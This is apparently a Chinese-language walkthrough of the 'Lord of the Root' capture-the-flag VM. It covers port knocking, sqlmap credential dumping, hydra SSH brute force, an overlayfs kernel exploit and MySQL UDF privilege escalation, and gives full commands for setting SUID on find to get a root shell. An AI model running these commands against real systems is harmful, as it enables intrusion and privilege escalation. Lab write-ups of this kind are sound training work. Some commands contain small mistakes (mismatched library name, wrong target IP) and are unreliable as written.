LORD OF THE ROOT靶场渗透实战
知识点
1. 端口碰撞
端口碰撞(Port Knocking)是一种安全技术,用于隐藏和保护网络服务器。该技术通过发送一系列特定的数据包,来触发服务器开放指定端口。在没有收到这些特定数据包的情况下,服务器的端口会一直处于关闭状态,从而增强服务器的安全性。
通常,端口碰撞技术将需要开放的端口号序列化为一个数字序列,每一个数字都会被映射到一种特定的操作,如打开、关闭或者重新开始。通过按照预定序列顺序发送数据包来激活这些操作,如“先发送数据包到1000端口,再发送其他数据包到2000端口”等,当服务器收到正确的序列组合时,它就会按照预定操作打开相应端口,从而允许外部用户链接到服务器。
端口碰撞技术可以隐藏服务器的实际端口号,从而增强了服务器的安全性。黑客需要解码正确的端口序列才能访问服务器,使攻击更加困难。但是,端口碰撞也有一些缺点。例如,它需要客户端预先掌握正确的端口号序列,也需要客户端和服务器端支持该技术。此外,实现端口碰撞还可能会引入其他安全问题,如中间人攻击和拒绝服务攻击等。因此,应该仔细考虑端口碰撞技术的使用场景和实现方案,并遵循最佳安全实践。
2. UDF(User-Defined Function,用户自定义函数)
UDF提权攻击是攻击者通过MYSQL UDF这一特殊机制借助MYSQL特权执行一些操作,以达到提权的目的。
UDF是MySQL中的一个扩展特性,允许用户编写自定义函数。如果攻击者成功地创建并注册了一个UDF,那么这个UDF可以被认为是MYSQL内置函数的替代品,可以将攻击者的代码注入到MYSQL服务器的内存中。然后,当该函数被调用执行时,攻击者的代码也会被执行,由此可以在系统层面上执行特权操作。
UDF提权攻击的步骤通常包括以下几个:
1. 创建并编译一个包含攻击者代码的DLL文件。
2. 将DLL文件上传到目标MYSQL服务器,并将其注册为有效的UDF。
3. 通过创建特定的DDL语句触发UDF的执行,从而让攻击者的代码得以执行。
4. 攻击者可以在UDF函数中编写一些特殊的代码,以达到提权的效果。例如,在Windows系统上,攻击者可以使用UDF函数运行cmd.exe,进而在本地系统上获得SYSTEM权限。
3. hping3使用
hping3是一种网络测量工具,能够发送定制的ICMP、UDP和TCP报文来诊断网络故障、网络瓶颈等问题!
基本用法:
hping3 [选项] 目标IP
常见的选项包括:
- -c:设定要发送数据包的数量。
- -p:设定目标端口号。
- -s:设定源端口号。
- -S:发送TCP SYN报文。
- -R:发送TCP RESET报文。
- -U:发送UDP数据包。
高级选项:
- -a:设定伪造的源IP地址。
- -k:启动保持模式,不断向目标主机发送数据包
- –udp -k:启用保持模式,不断向目标主机发送UDP数据包。
- -flood:启动红色攻击模式,向目标主机发送大量数据包。
- -E:发送自定义数据包。
- -d:设定数据包的大小。
实例:
发送10个TCP SYN报文到目标主机的80端口:
hping3 -c 10 -S target_ip -p 80
伪造源IP地址向目标主机的80端口不断的发送UDP数据包:
hping3 -k --udp -a 10.10.10.10 target_ip -p 80
渗透过程
实验环境
kali:10.10.10.128
靶机:10.10.10.146
靶机地址:
1. 主机发现
arp-scan 10.10.10.0/24
或者
netdiscover -i eth0 -r 10.10.10.0/24
2. 服务探测
nmap -sS -sV -p- 10.10.10.146
通过nmap扫描,发现只开放了22端口,这里就涉及新知识点:端口碰撞
那就ssh连接一下!
根据图标提示,使用knock去碰撞
apt install knocked #安装knock命令
#使用:knock ip port1 port2 port3 -v
knock 10.10.10.146 1 2 3 -v
在这里也可以使用hping3
hping3 -S 10.10.10.146 -p 1 -c 1
hping3 -S 10.10.10.146 -p 2 -c 1
hping3 -S 10.10.10.146 -p 3 -c 1
再次使用nmap查看目标开放端口:
看到了1337端口开放了(是不是很神奇!!!)
3. 查看网页源代码
这里开放了1337端口,在该端口的服务是Apache,那就使用浏览器访问访问,主要注意:网页源代码!!!
首页就一个小女孩图片
并且查看了源代码,发现没有什么重要的信息!
4. 进行目录扫描
可以看到目标系统就展示了一张图片,可用的信息非常少,那就进行目录扫描一下吧!
dirsearch http://10.10.10.146:1337/
通过目录扫描出来,就发现几张图片,到这里的思路:先查看源代码,在查看图片中具体的内容!!!
通过查看源代码,发现一段奇特的东西,是base64编码,那就解码解码!
解码出来,发现一部分还是base64(真会玩呀),那就继续解码看看!
解码出来的东西像不像一个目录,那就访问访问吧!
发现是一个登录页面!
5. sql注入漏洞
通过前面的信息收集得到一个登录页面,对前面几张图片内容进行查看,没有发现疑似用户名和密码的东西,说明这里可能存在sql注入漏洞!
使用sqlmap进行自动化测试,查看是否存在sql注入漏洞
一、爆破数据库信息
sqlmap -u "http://10.10.10.146:1337/978345210/index.php" --forms --dbs
二、爆破数据库表名
sqlmap -u "http://10.10.10.146:1337/978345210/index.php" --forms -D Webapp --tables
三、爆破数据表字段
sqlmap -u http://10.10.10.146:1337//978345210/index.php" --forms -D Webapp -T Users --columns
四、爆破字段内容信息
sqlmap -u "http://10.10.10.146:1337/978345210/index.php" --forms -D Webapp -T Users -C id,username,password --dump
最后得到了用户名、密码,那就登录一些,看看有什么有用的信息!
发现不管使用哪个用户登录,登录后都是一样的,查看源代码也没有重要的信息!!!
五、 ssh登录
在进行服务探测时,该目标系统开放了一个22端口,那就通过爆破出来的用户、密码尝试登录登录,
将用户保存为user.txt
将密码保存为pass.txt
使用hydra进行破解
hydra -L user.txt -P pass.txt 10.10.10.128 ssh
最后发现smeagol用户可以登录,
ssh smeagol@10.10.10.128
password:MyPreciousR00t
六、提权
1. 内核提权
登录用户为低权限用户,那就使用常规的方法看能不能进行提权操作。
- 查看特殊权限,是否能SUID提权
- 上传漏洞检测脚本
- 查看sudo,看有没有授权的命令
find / -perm -4000 2>/dev/null
或者
find / -perm -u=s type f 2> /dev/null
sudo -l
都没有发现有用的信息!!!那就上传漏洞检测脚本进行提取!
本来使用nc上传漏洞检测脚本,但是发现上传有问题,那就使用python结合wget上传。
授权漏洞检测脚本执行权限,并运行!
在那里爆出许多漏洞,这里使用overlayfs进行提权!
根据提示的下载链接,下载exp,使用ssh登录目标系统,直接使用wget下载exp。
根据exp使用提示,进行操作
这里修改exp后缀名,是因为如果直接使用gcc不能编译,识别不了!
2. MYSQL提权
通过ssh登录目标系统,在/var/www目录下查找出网站的配置信息,重要查看数据库用户的登录密码!
找到了root用户的登录密码,去登录MySQL数据库看看能不能登录!
查看查看用户权限:
mysql> show grants;
+----------------------------------------------------------------------------------------------------------------------------------------+
| Grants for root@localhost |
+----------------------------------------------------------------------------------------------------------------------------------------+
| GRANT ALL PRIVILEGES ON *.* TO 'root'@'localhost' IDENTIFIED BY PASSWORD '*4DD56158ACDBA81BFE3FF9D3D7375231596CE10F' WITH GRANT OPTION |
| GRANT PROXY ON ''@'' TO 'root'@'localhost' WITH GRANT OPTION |
+----------------------------------------------------------------------------------------------------------------------------------------+
2 rows in set (0.00 sec)
查看数据库版本信息:
mysql> select version();
+-------------------------+
| version() |
+-------------------------+
| 5.5.44-0ubuntu0.14.04.1 |
+-------------------------+
1 row in set (0.00 sec)
查看用户导入导出权限
mysql> show global variables like 'secure%';
+------------------+-------+
| Variable_name | Value |
+------------------+-------+
| secure_auth | OFF |
| secure_file_priv | |
+------------------+-------+
2 rows in set (0.29 sec)
注意:
- 当secure_file_priv值为NULL,表示限制mysql不允许导入导出操作,此时无法提权
- 当secure_file_priv的值为/usr/,表示限制mysql的导入导出只能发生在/usr/目录下,此时也无法提权
- 当secure_file_priv的值没有具体值时,表示不对mysql的导入导出做限制,可以提权。
查看myslq插件位置
mysql> show variables like '%plugin%';
+---------------+------------------------+
| Variable_name | Value |
+---------------+------------------------+
| plugin_dir | /usr/lib/mysql/plugin/ |
+---------------+------------------------+
1 row in set (0.23 sec)
因为当MYSQL >= 5.1 版本时,必须要将UDF的动态链接库文件放置于MYSQL安装目录下的lib\plugin文件夹下,才能创建自定义函数。
在kali本地查看是否有mysql udf利用exp
这里使用1518.c,按照exp的提示进行操作
gcc -g -c 1518.c
gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so 1518.o -lc
上传这个.so到目标系统的/tmp目录下:
接下来还是按照exp中的提示进行操作:
mysql> use mysql;
Database changed
mysql> create table foo(line blob);
Query OK, 0 rows affected (0.94 sec)
mysql> insert into foo values(load_file('/tmp/raptor_udf2.so'));
Query OK, 1 row affected (0.49 sec)
mysql> select * from foo into dumpfile '/usr/lib/mysql/plugin/raptor_udf2.so';
Query OK, 1 row affected (0.43 sec)
创建自定义函数,然后调用自定义函数给find命令所有者suid权限,使其可以执行root命令
mysql> create function do_system returns integer soname 'raptor_udf2.so'
-- 自定义函数
mysql> select * from mysql.func;
-- 查看创建的函数
mysql> select do_system('chmod u+s /usr/bin/find');
-- 调用do_system函数来给find命令所有者的suid权限,使其可以执行root命令
执行find命令,使用find执行shell
touch test
find test -exec "/bin/sh" \;
或者 find test -exec "id" \;
cd /root
UDF提权总结
- root登录
- 查看数据库版本
select version()
- 查看udf提权
show global variables like 'secure%';
- 查看插件位置
show variables like 'plugin%';
- 查看是否能远程登录
use mysql;
select user,host from user;
mysql中,BLOB是一个二进制大型对象,是一个可以存储大量数据的容器,他能容纳不同大小的数据。
可以利用lib_mysqludf_sys提供的函数执行系统命令
sys_eval:执行任意命令,并将输出返回
sys_exec:执行任意命令,并退出时返回。
udf exploit提供的系统命令为:do_system
6. 本地查看lib_mysqlduf_sys位置
locate lib_mysqludf_sys
cp /usr/share/metasploit-framework/data/exploits/mysql/lib_mysqludf_sys_32.so ./
mv lib_mysqludf_sys_32.so udf.so
- 上传并自定义函数
python -m http.server 8888
目标系统下载
cd /tmp
wget http://192.168.5.152:8081/udf.so
mysql -u root -p
create table udf (line blob);
-- 在表中写入udf文件内容
insert into udf values(load_file('/tmp/udf.so'));
-- 将udf文件内容传入新建的udf.so文件中
select * from udf into dumpfile '/usr/lib/mysql/plugin/udf.so';
-- 创建自定义函数
create function sys_eval returns string soname 'utf.so';
select * from mysql.func;
-- 调用sys_eval函数来给find命令所有者的suid权限,使其可以执行root命令
select sys_eval('chmod u+s /usr/bin/find');
exit
- 使用
提权
find / -exec '/bin/sh' \;